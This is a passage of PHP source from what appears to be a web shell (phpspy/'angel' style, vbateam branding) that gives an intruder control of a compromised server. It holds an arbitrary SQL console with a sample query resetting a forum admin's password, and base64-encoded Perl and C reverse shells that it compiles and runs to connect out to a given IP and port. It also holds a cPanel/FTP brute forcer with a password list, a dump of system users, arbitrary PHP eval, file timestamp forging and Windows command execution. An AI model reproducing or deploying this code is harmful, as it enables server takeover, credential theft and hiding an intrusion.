745 makehide('dbpass');
746 makehide('dbname');
747 makehide('charset');
748 makehide('doing');
749 makehide('action', 'sqlfile');
750 p('</form>');
751} elseif ($action == 'sqladmin') {
752 !$dbhost && $dbhost = 'localhost';
753 !$dbuser && $dbuser = 'root';
754 !$dbport && $dbport = '3306';
755 $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
756 if (isset($dbhost)) {
757 $dbform.= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
758 }
759 if (isset($dbuser)) {
760 $dbform.= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
761 }
762 if (isset($dbpass)) {
763 $dbform.= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
764 }
765 if (isset($dbport)) {
766 $dbform.= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
767 }
768 if (isset($dbname)) {
769 $dbform.= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
770 }
771 if (isset($charset)) {
772 $dbform.= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
773 }
774 if ($doing == 'backupmysql' && $saveasfile) {
775 if (!$table) {
776 m('Please choose the table');
777 } else {
778 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
779 $table = array_flip($table);
780 $fp = @fopen($path, 'w');
781 if ($fp) {
782 $result = q('SHOW tables');
783 if (!$result) p('<h2>' . mysql_error() . '</h2>');
784 $mysqldata = '';
785 while ($currow = mysql_fetch_array($result)) {
786 if (isset($table[$currow[0]])) {
787 sqldumptable($currow[0], $fp);
788 }
789 }
790 fclose($fp);
791 $fileurl = str_replace(SA_ROOT, '', $path);
792 m('Database has success backup to <a href="' . $fileurl . '" target="_blank">' . $path . '</a>');
793 mysql_close();
794 } else {
795 m('Backup failed');
796 }
797 }
798 }
799 if ($insert && $insertsql) {
800 $keystr = $valstr = $tmp = '';
801 foreach ($insertsql as $key => $val) {
802 if ($val) {
803 $keystr.= $tmp . $key;
804 $valstr.= $tmp . "'" . addslashes($val) . "'";
805 $tmp = ',';
806 }
807 }
808 if ($keystr && $valstr) {
809 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
810 m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
811 }
812 }
813 if ($update && $insertsql && $base64) {
814 $valstr = $tmp = '';
815 foreach ($insertsql as $key => $val) {
816 $valstr.= $tmp . $key . "='" . addslashes($val) . "'";
817 $tmp = ',';
818 }
819 if ($valstr) {
820 $where = base64_decode($base64);
821 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
822 m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
823 }
824 }
825 if ($doing == 'del' && $base64) {
826 $where = base64_decode($base64);
827 $delete_sql = "DELETE FROM $tablename WHERE $where";
828 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
829 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
830 }
831 if ($tablename && $doing == 'drop') {
832 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
833 if (q("DROP TABLE $tablename")) {
834 m('Drop table of success');
835 $tablename = '';
836 } else {
837 m(mysql_error());
838 }
839 }
840 $charsets = array('' => 'Default', 'gbk' => 'GBK', 'big5' => 'Big5', 'utf8' => 'UTF-8', 'latin1' => 'Latin1');
841 formhead(array('title' => 'MYSQL Manager'));
842 makehide('action', 'sqladmin');
843 p('<p>');
844 p('DBHost:');
845 makeinput(array('name' => 'dbhost', 'size' => 20, 'value' => $dbhost));
846 p(':');
847 makeinput(array('name' => 'dbport', 'size' => 4, 'value' => $dbport));
848 p('DBUser:');
849 makeinput(array('name' => 'dbuser', 'size' => 15, 'value' => $dbuser));
850 p('DBPass:');
851 makeinput(array('name' => 'dbpass', 'size' => 15, 'value' => $dbpass));
852 p('DBCharset:');
853 makeselect(array('name' => 'charset', 'option' => $charsets, 'selected' => $charset));
854 makeinput(array('name' => 'connect', 'value' => 'Connect', 'type' => 'submit', 'class' => 'bt'));
855 p('</p>');
856 formfoot();
857?>
858
859<script type="text/javascript">
860function editrecord(action, base64, tablename){
861 if (action == 'del') {
862 if (!confirm('Is or isn\'t deletion record?')) return;
863 }
864 $('recordlist').doing.value=action;
865 $('recordlist').base64.value=base64;
866 $('recordlist').tablename.value=tablename;
867 $('recordlist').submit();
868}
869function moddbname(dbname) {
870 if(!dbname) return;
871 $('setdbname').dbname.value=dbname;
872 $('setdbname').submit();
873}
874function settable(tablename,doing,page) {
875 if(!tablename) return;
876 if (doing) {
877 $('settable').doing.value=doing;
878 }
879 if (page) {
880 $('settable').page.value=page;
881 }
882 $('settable').tablename.value=tablename;
883 $('settable').submit();
884}
885</script>
886<?php
887 // SQL
888 formhead(array('name' => 'recordlist'));
889 makehide('doing');
890 makehide('action', 'sqladmin');
891 makehide('base64');
892 makehide('tablename');
893 p($dbform);
894 formfoot();
895 // Data
896 formhead(array('name' => 'setdbname'));
897 makehide('action', 'sqladmin');
898 p($dbform);
899 if (!$dbname) {
900 makehide('dbname');
901 }
902 formfoot();
903 formhead(array('name' => 'settable'));
904 makehide('action', 'sqladmin');
905 p($dbform);
906 makehide('tablename');
907 makehide('page', $page);
908 makehide('doing');
909 formfoot();
910 $cachetables = array();
911 $pagenum = 30;
912 $page = intval($page);
913 if ($page) {
914 $start_limit = ($page - 1) * $pagenum;
915 } else {
916 $start_limit = 0;
917 $page = 1;
918 }
919 if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
920 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
921 // get mysql server
922 $mysqlver = mysql_get_server_info();
923 p('<p>MySQL ' . $mysqlver . ' running in ' . $dbhost . ' as ' . $dbuser . '@' . $dbhost . '</p>');
924 $highver = $mysqlver > '4.1' ? 1 : 0;
925 // Show database
926 $query = q("SHOW DATABASES");
927 $dbs = array();
928 $dbs[] = '-- Select a database --';
929 while ($db = mysql_fetch_array($query)) {
930 $dbs[$db['Database']] = $db['Database'];
931 }
932 makeselect(array('title' => 'Please select a database:', 'name' => 'db[]', 'option' => $dbs, 'selected' => $dbname, 'onchange' => 'moddbname(this.options[this.selectedIndex].value)', 'newline' => 1));
933 $tabledb = array();
934 if ($dbname) {
935 p('<p>');
936 p('Current dababase: <a href="javascript:moddbname(\'' . $dbname . '\');">' . $dbname . '</a>');
937 if ($tablename) {
938 p(' | Current Table: <a href="javascript:settable(\'' . $tablename . '\');">' . $tablename . '</a> [ <a href="javascript:settable(\'' . $tablename . '\', \'insert\');">Insert</a> | <a href="javascript:settable(\'' . $tablename . '\', \'structure\');">Structure</a> | <a href="javascript:settable(\'' . $tablename . '\', \'drop\');">Drop</a> ]');
939 }
940 p('</p>');
941 mysql_select_db($dbname);
942 $getnumsql = '';
943 $runquery = 0;
944 if ($sql_query) {
945 $runquery = 1;
946 }
947 $allowedit = 0;
948 if ($tablename && !$sql_query) {
949 $sql_query = "SELECT * FROM $tablename";
950 $getnumsql = $sql_query;
951 $sql_query = $sql_query . " LIMIT $start_limit, $pagenum";
952 $allowedit = 1;
953 }
954 p('<form action="' . $self . '" method="POST">');
955 p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database <font color=red><b>' . $dbname . '</font></b>:<BR>Example VBB Password: <font color=red>vbateam</font><BR><font color=yellow>UPDATE `user` SET `password` = \'69e53e5ab9536e55d31ff533aefc4fbe\', salt = \'p5T\' WHERE `userid` = \'1\' </font>
956
957 </td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">' . htmlspecialchars($sql_query, ENT_QUOTES) . '</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
958 makehide('tablename', $tablename);
959 makehide('action', 'sqladmin');
960 p($dbform);
961 p('</form>');
962 if ($tablename || ($runquery && $sql_query)) {
963 if ($doing == 'structure') {
964 $result = q("SHOW COLUMNS FROM $tablename");
965 $rowdb = array();
966 while ($row = mysql_fetch_array($result)) {
967 $rowdb[] = $row;
968 }
969 p('<table border="0" cellpadding="3" cellspacing="0">');
970 p('<tr class="head">');
971 p('<td>Field</td>');
972 p('<td>Type</td>');
973 p('<td>Null</td>');
974 p('<td>Key</td>');
975 p('<td>Default</td>');
976 p('<td>Extra</td>');
977 p('</tr>');
978 foreach ($rowdb as $row) {
979 $thisbg = bg();
980 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
981 p('<td>' . $row['Field'] . '</td>');
982 p('<td>' . $row['Type'] . '</td>');
983 p('<td>' . $row['Null'] . ' </td>');
984 p('<td>' . $row['Key'] . ' </td>');
985 p('<td>' . $row['Default'] . ' </td>');
986 p('<td>' . $row['Extra'] . ' </td>');
987 p('</tr>');
988 }
989 tbfoot();
990 } elseif ($doing == 'insert' || $doing == 'edit') {
991 $result = q('SHOW COLUMNS FROM ' . $tablename);
992 while ($row = mysql_fetch_array($result)) {
993 $rowdb[] = $row;
994 }
995 $rs = array();
996 if ($doing == 'insert') {
997 p('<h2>Insert new line in ' . $tablename . ' table »</h2>');
998 } else {
999 p('<h2>Update record in ' . $tablename . ' table »</h2>');
1000 $where = base64_decode($base64);
1001 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
1002 $rs = mysql_fetch_array($result);
1003 }
1004 p('<form method="post" action="' . $self . '">');
1005 p($dbform);
1006 makehide('action', 'sqladmin');
1007 makehide('tablename', $tablename);
1008 p('<table border="0" cellpadding="3" cellspacing="0">');
1009 foreach ($rowdb as $row) {
1010 if ($rs[$row['Field']]) {
1011 $value = htmlspecialchars($rs[$row['Field']]);
1012 } else {
1013 $value = '';
1014 }
1015 $thisbg = bg();
1016 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1017 p('<td><b>' . $row['Field'] . '</b><br />' . $row['Type'] . '</td><td><textarea class="area" name="insertsql[' . $row['Field'] . ']" style="width:500px;height:60px;overflow:auto;">' . $value . '</textarea></td></tr>');
1018 }
1019 if ($doing == 'insert') {
1020 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
1021 } else {
1022 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
1023 makehide('base64', $base64);
1024 }
1025 p('</table></form>');
1026 } else {
1027 $querys = @explode(';', $sql_query);
1028 foreach ($querys as $num => $query) {
1029 if ($query) {
1030 p("<p><b>Query#{$num} : " . htmlspecialchars($query, ENT_QUOTES) . "</b></p>");
1031 switch (qy($query)) {
1032 case 0:
1033 p('<h2>Error : ' . mysql_error() . '</h2>');
1034 break;
1035 case 1:
1036 if (strtolower(substr($query, 0, 13)) == 'select * from') {
1037 $allowedit = 1;
1038 }
1039 if ($getnumsql) {
1040 $tatol = mysql_num_rows(q($getnumsql));
1041 $multipage = multi($tatol, $pagenum, $page, $tablename);
1042 }
1043 if (!$tablename) {
1044 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
1045 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
1046 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i", $sql_line, $matches);
1047 $tablename = $matches[1][0];
1048 }
1049 $result = q($query);
1050 p($multipage);
1051 p('<table border="0" cellpadding="3" cellspacing="0">');
1052 p('<tr class="head">');
1053 if ($allowedit) p('<td>Action</td>');
1054 $fieldnum = @mysql_num_fields($result);
1055 for ($i = 0;$i < $fieldnum;$i++) {
1056 $name = @mysql_field_name($result, $i);
1057 $type = @mysql_field_type($result, $i);
1058 $len = @mysql_field_len($result, $i);
1059 p("<td nowrap>$name<br><span>$type($len)</span></td>");
1060 }
1061 p('</tr>');
1062 while ($mn = @mysql_fetch_assoc($result)) {
1063 $thisbg = bg();
1064 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1065 $where = $tmp = $b1 = '';
1066 foreach ($mn as $key => $inside) {
1067 if ($inside) {
1068 $where.= $tmp . $key . "='" . addslashes($inside) . "'";
1069 $tmp = ' AND ';
1070 }
1071 $b1.= '<td nowrap>' . html_clean($inside) . ' </td>';
1072 }
1073 $where = base64_encode($where);
1074 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \'' . $where . '\', \'' . $tablename . '\');">Edit</a> | <a href="javascript:editrecord(\'del\', \'' . $where . '\', \'' . $tablename . '\');">Del</a></td>');
1075 p($b1);
1076 p('</tr>');
1077 unset($b1);
1078 }
1079 tbfoot();
1080 p($multipage);
1081 break;
1082 case 2:
1083 $ar = mysql_affected_rows();
1084 p('<h2>affected rows : <b>' . $ar . '</b></h2>');
1085 break;
1086 }
1087 }
1088 }
1089 }
1090 } else {
1091 $query = q("SHOW TABLE STATUS");
1092 $table_num = $table_rows = $data_size = 0;
1093 $tabledb = array();
1094 while ($table = mysql_fetch_array($query)) {
1095 $data_size = $data_size + $table['Data_length'];
1096 $table_rows = $table_rows + $table['Rows'];
1097 $table['Data_length'] = sizecount($table['Data_length']);
1098 $table_num++;
1099 $tabledb[] = $table;
1100 }
1101 $data_size = sizecount($data_size);
1102 unset($table);
1103 p('<table border="0" cellpadding="0" cellspacing="0">');
1104 p('<form action="' . $self . '" method="POST">');
1105 makehide('action', 'sqladmin');
1106 p($dbform);
1107 p('<tr class="head">');
1108 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
1109 p('<td>Name</td>');
1110 p('<td>Rows</td>');
1111 p('<td>Data_length</td>');
1112 p('<td>Create_time</td>');
1113 p('<td>Update_time</td>');
1114 if ($highver) {
1115 p('<td>Engine</td>');
1116 p('<td>Collation</td>');
1117 }
1118 p('</tr>');
1119 foreach ($tabledb as $key => $table) {
1120 $thisbg = bg();
1121 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1122 p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="' . $table['Name'] . '" /></td>');
1123 p('<td><a href="javascript:settable(\'' . $table['Name'] . '\');">' . $table['Name'] . '</a> [ <a href="javascript:settable(\'' . $table['Name'] . '\', \'insert\');">Insert</a> | <a href="javascript:settable(\'' . $table['Name'] . '\', \'structure\');">Structure</a> | <a href="javascript:settable(\'' . $table['Name'] . '\', \'drop\');">Drop</a> ]</td>');
1124 p('<td>' . $table['Rows'] . '</td>');
1125 p('<td>' . $table['Data_length'] . '</td>');
1126 p('<td>' . $table['Create_time'] . '</td>');
1127 p('<td>' . $table['Update_time'] . '</td>');
1128 if ($highver) {
1129 p('<td>' . $table['Engine'] . '</td>');
1130 p('<td>' . $table['Collation'] . '</td>');
1131 }
1132 p('</tr>');
1133 }
1134 p('<tr class=fout>');
1135 p('<td> </td>');
1136 p('<td>Total tables: ' . $table_num . '</td>');
1137 p('<td>' . $table_rows . '</td>');
1138 p('<td>' . $data_size . '</td>');
1139 p('<td colspan="' . ($highver ? 4 : 2) . '"> </td>');
1140 p('</tr>');
1141 p("<tr class=\"fout\"><td colspan=\"" . ($highver ? 8 : 6) . "\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"" . SA_ROOT . $_SERVER['HTTP_HOST'] . "_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
1142 makehide('doing', 'backupmysql');
1143 formfoot();
1144 p("</table>");
1145 fr($query);
1146 }
1147 }
1148 }
1149 tbfoot();
1150 @mysql_close();
1151} //end sql backup
1152elseif ($action == 'backconnect') {
1153 !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
1154 !$yourport && $yourport = '12345';
1155 $usedb = array('perl' => 'perl', 'c' => 'c');
1156 $back_connect = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj" . "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR" . "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT" . "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI" . "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi" . "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl" . "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
1157 $back_connect_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC" . "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb" . "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd" . "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ" . "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC" . "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D" . "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp" . "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
1158 if ($start && $yourip && $yourport && $use) {
1159 if ($use == 'perl') {
1160 cf('/tmp/angel_bc', $back_connect);
1161 $res = execute(which('perl') . " /tmp/angel_bc $yourip $yourport &");
1162 } else {
1163 cf('/tmp/angel_bc.c', $back_connect_c);
1164 $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
1165 @unlink('/tmp/angel_bc.c');
1166 $res = execute("/tmp/angel_bc $yourip $yourport &");
1167 }
1168 m("Now script try connect to $yourip port $yourport ...");
1169 }
1170 formhead(array('title' => 'Back Connect'));
1171 makehide('action', 'backconnect');
1172 p('<p>');
1173 p('Your IP:');
1174 makeinput(array('name' => 'yourip', 'size' => 20, 'value' => $yourip));
1175 p('Your Port:');
1176 makeinput(array('name' => 'yourport', 'size' => 15, 'value' => $yourport));
1177 p('Use:');
1178 makeselect(array('name' => 'use', 'option' => $usedb, 'selected' => $use));
1179 makeinput(array('name' => 'start', 'value' => 'Start', 'type' => 'submit', 'class' => 'bt'));
1180 p('</p>');
1181 formfoot();
1182} //end backconnect window via NC
1183// Brute
1184elseif ($action == 'brute') {
1185 formhead(array('title' => 'Brute Forcer'));
1186 makehide('action', 'brute');
1187 makehide('dir', $brute);
1188 @ini_set('memory_limit', 1000000000000);
1189 $connect_timeout = 5;
1190 @set_time_limit(0);
1191 $submit = $_REQUEST['submit'];
1192 $users = $_REQUEST['users'];
1193 $pass = $_REQUEST['passwords'];
1194 $target = $_REQUEST['target'];
1195 $option = $_REQUEST['option'];
1196 $passlist = "0123456
119701234567
1198012345678
11990123456789
120001234567890
1201123456
12021234567
120312345678
1204123456789
12051234567890
1206111111
1207000000
1208222222
1209333333
1210444444
1211555555
1212666666
1213777777
1214888888
1215999999
1216123123
1217456456
1218789789
1219123321
1220456654
1221654321
12227654321
122387654321
1224987654321
12250987654321
1226admin
1227administrator
1228admincp
1229cpanel
1230adminx
1231admins
1232password
1233passwords
1234passw0rd
1235p@ssw0rd
1236p@ssword
1237khongco
123825251325
1239passw0rds";
1240 if ($target == '') {
1241 $target = 'localhost';
1242 }
1243 print " <div align='center'>
1244
1245<form method='post' style='border: 1px solid #000000'><br><br>
1246<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='40%' bgColor=#303030 borderColorLight=#966117 border=1><tr><td>
1247<b> Target : </font><input type='text' name='target' size='16' value= $target style='border: font-family:tahoma; font-weight:bold;'></p></font></b></p>
1248<div align='center'><br>
1249<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='50%' bgColor=#303030 borderColorLight=#966117 border=1>
1250<tr>
1251<td align='center'>
1252<b>Username</b></td>
1253<td>
1254<p align='center'>
1255<b>Password</b></td>
1256</tr>
1257</table>
1258
1259<p align='center'>
1260<textarea rows='20' name='users' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>";
1261 $i = 0;
1262 while ($i < 60000) {
1263 $line = posix_getpwuid($i);
1264 if (!empty($line)) {
1265 while (list($key, $vba_etcpwd) = each($line)) {
1266 echo "" . $vba_etcpwd . "\n";
1267 break;
1268 }
1269 }
1270 $i++;
1271 }
1272 echo "
1273</textarea>
1274<textarea rows='20' name='passwords' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>$passlist</textarea><br>
1275<br>
1276<b>Options : </span><input name='option' value='cpanel' style='font-weight: 700;' checked type='radio'> cPanel
1277<input name='option' value='ftp' style='font-weight: 700;' type='radio'> ftp ==> <input type='submit' value='Attack' name='submit' ></p>
1278</td></tr></table></td></tr></form><p align= 'left'>";
1279?>
1280<?php
1281 function ftp_check($host, $user, $pass, $timeout) {
1282 $ch = curl_init();
1283 curl_setopt($ch, CURLOPT_URL, "ftp://$host");
1284 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
1285 curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
1286 curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
1287 curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
1288 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
1289 curl_setopt($ch, CURLOPT_FAILONERROR, 1);
1290 $data = curl_exec($ch);
1291 if (curl_errno($ch) == 28) {
1292 print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
1293 exit;
1294 } elseif (curl_errno($ch) == 0) {
1295 p("<b>[ attack@vbateam.net ]# </b>
1296
1297<b> Attacking has been done! Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font> => <a href=http://$user:$pass@$host:2082 target=_blank>Login</a></b><br>");
1298 }
1299 curl_close($ch);
1300 }
1301 function cpanel_check($host, $user, $pass, $timeout) {
1302 $ch = curl_init();
1303 curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
1304 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
1305 curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
1306 curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
1307 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
1308 curl_setopt($ch, CURLOPT_FAILONERROR, 1);
1309 $data = curl_exec($ch);
1310 if (curl_errno($ch) == 28) {
1311 print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
1312 exit;
1313 } elseif (curl_errno($ch) == 0) {
1314 p("<b>[ attack@vbateam.net ]# </b><b>Attacking has been done!</a> Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font></b><br>");
1315 }
1316 curl_close($ch);
1317 }
1318 if (isset($submit) && !empty($submit)) {
1319 $userlist = explode("\n", $users);
1320 $passlist = explode("\n", $pass);
1321 p('<b>[ attack@vbateam.net ]# Attacking ...</font></b><br>');
1322 foreach ($userlist as $user) {
1323 $_user = trim($user);
1324 foreach ($passlist as $password) {
1325 $_pass = trim($password);
1326 if ($option == "ftp") {
1327 ftp_check($target, $_user, $_pass, $connect_timeout);
1328 }
1329 if ($option == "cpanel") {
1330 cpanel_check($target, $_user, $_pass, $connect_timeout);
1331 }
1332 }
1333 }
1334 }
1335 formfoot();
1336} elseif ($action == 'etcpwd') {
1337 formhead(array('title' => 'Get /etc/passwd'));
1338 makehide('action', 'etcpwd');
1339 makehide('dir', $nowpath);
1340 $i = 0;
1341 echo "<p><br><textarea class=\"area\" id=\"phpcodexxx\" name=\"phpcodexxx\" cols=\"100\" rows=\"25\">";
1342 while ($i < 60000) {
1343 $line = posix_getpwuid($i);
1344 if (!empty($line)) {
1345 while (list($key, $vba_etcpwd) = each($line)) {
1346 echo "" . $vba_etcpwd . "\n";
1347 break;
1348 }
1349 }
1350 $i++;
1351 }
1352 echo "</textarea></p>";
1353 formfoot();
1354} elseif ($action == 'eval') {
1355 $phpcode = trim($phpcode);
1356 if ($phpcode) {
1357 if (!preg_match('#<\?#si', $phpcode)) {
1358 $phpcode = "<?php\n\n{$phpcode}\n\n?>";
1359 }
1360 eval("?" . ">$phpcode<?");
1361 }
1362 formhead(array('title' => 'Eval PHP Code'));
1363 makehide('action', 'eval');
1364 maketext(array('title' => 'PHP Code', 'name' => 'phpcode', 'value' => $phpcode));
1365 p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
1366 formfooter();
1367} //end eval
1368elseif ($action == 'editfile') {
1369 if (file_exists($opfile)) {
1370 $fp = @fopen($opfile, 'r');
1371 $contents = @fread($fp, filesize($opfile));
1372 @fclose($fp);
1373 $contents = htmlspecialchars($contents);
1374 }
1375 formhead(array('title' => 'Create / Edit File'));
1376 makehide('action', 'file');
1377 makehide('dir', $nowpath);
1378 makeinput(array('title' => 'Current File (import new file name and new file)', 'name' => 'editfilename', 'value' => $opfile, 'newline' => 1));
1379 maketext(array('title' => 'File Content', 'name' => 'filecontent', 'value' => $contents));
1380 formfooter();
1381} //end editfile
1382elseif ($action == 'newtime') {
1383 $opfilemtime = @filemtime($opfile);
1384 //$time = strtotime("$year-$month-$day $hour:$minute:$second");
1385 $cachemonth = array('January' => 1, 'February' => 2, 'March' => 3, 'April' => 4, 'May' => 5, 'June' => 6, 'July' => 7, 'August' => 8, 'September' => 9, 'October' => 10, 'November' => 11, 'December' => 12);
1386 formhead(array('title' => 'Clone file was last modified time'));
1387 makehide('action', 'file');
1388 makehide('dir', $nowpath);
1389 makeinput(array('title' => 'Alter file', 'name' => 'curfile', 'value' => $opfile, 'size' => 120, 'newline' => 1));
1390 makeinput(array('title' => 'Reference file (fullpath)', 'name' => 'tarfile', 'size' => 120, 'newline' => 1));
1391 formfooter();
1392 formhead(array('title' => 'Set last modified'));
1393 makehide('action', 'file');
1394 makehide('dir', $nowpath);
1395 makeinput(array('title' => 'Current file (fullpath)', 'name' => 'curfile', 'value' => $opfile, 'size' => 120, 'newline' => 1));
1396 p('<p>Instead »');
1397 p('year:');
1398 makeinput(array('name' => 'year', 'value' => date('Y', $opfilemtime), 'size' => 4));
1399 p('month:');
1400 makeinput(array('name' => 'month', 'value' => date('m', $opfilemtime), 'size' => 2));
1401 p('day:');
1402 makeinput(array('name' => 'day', 'value' => date('d', $opfilemtime), 'size' => 2));
1403 p('hour:');
1404 makeinput(array('name' => 'hour', 'value' => date('H', $opfilemtime), 'size' => 2));
1405 p('minute:');
1406 makeinput(array('name' => 'minute', 'value' => date('i', $opfilemtime), 'size' => 2));
1407 p('second:');
1408 makeinput(array('name' => 'second', 'value' => date('s', $opfilemtime), 'size' => 2));
1409 p('</p>');
1410 formfooter();
1411} //end newtime
1412elseif ($action == 'shell') {
1413 if (IS_WIN && IS_COM) {
1414 if ($program && $parameter) {
1415 $shell = new COM('Shell.Application');
1416 $a = $shell->ShellExecute($program, $parameter);
1417 m('Program run has ' . (!$a ? 'success' : 'fail'));
1418 }
1419 !$program && $program = 'c:\windows\system32\cmd.exe';
1420 !$parameter && $parameter = '/c net start > ' . SA_ROOT . 'log.txt';
1421 formhead(array('title' => 'Execute Program'));
1422 makehide('action', 'shell');
1423 makeinput(array('title' => 'Program', 'name' => 'program', 'value' => $program, 'newline' => 1));
1424 p('<p>');
1425 makeinput(array('title' => 'Parameter', 'name' => 'parameter', 'value' => $parameter));
1426 makeinput(array('name' => 'submit', 'class' => 'bt', 'type' => 'submit', 'value' => 'Execute'));
1427 p('</p>');
1428 formfoot();
1429 }
